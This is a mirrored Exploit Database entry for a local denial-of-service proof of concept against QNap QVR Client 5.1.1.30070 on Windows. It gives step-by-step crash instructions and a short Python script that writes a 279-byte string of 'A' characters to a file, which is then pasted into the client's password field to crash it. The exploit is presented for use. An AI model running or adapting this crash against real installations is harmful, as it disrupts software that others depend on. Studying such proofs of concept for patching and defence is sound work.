QNap QVR Client 5.1.1.30070 – ‘Password’ Denial of Service (PoC)

• Exploit Database
• 15 阅读

• 作者： Luis Martínez
  日期： 2018-07-27
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45092/

• # Exploit Title: QNap QVR Client 5.1.1.30070 - 'Password' Denial of Service (PoC)
  # Discovery by: Luis Martínez
  # Discovery Date: 2018-07-26
  # Vendor Homepage: https://www.qnapsecurity.com/n/en/
  # Software Link : http://download.qnap.com/Surveillance/QVRClient/Qmon_5.1.1.30070.zip
  # Tested Version: 5.1.1.30070
  # Vulnerability Type: Denial of Service (DoS) Local
  # Tested on OS: Windows 10 Pro x64 es
  
  # Steps to Produce the Crash: 
  # 1.- Run python code : python QNap_QVR_Client_5.1.1.30070.py
  # 2.- Open QNap_QVR_Client_5.1.1.30070.txt and copy content to clipboard
  # 3.- Open QVR.exe
  # 4.- Direccion IP/Puerto -> 10.10.10.1 / 80
  # 5.- Username -> admin
  # 6.- Paste ClipBoard on Password
  # 7.- OK
  # 8.- Crashed
  
  #!/usr/bin/env python
  
  buffer = "\x41" * 279
  f = open ("QNap_QVR_Client_5.1.1.30070.txt", "w")
  f.write(buffer)
  f.close()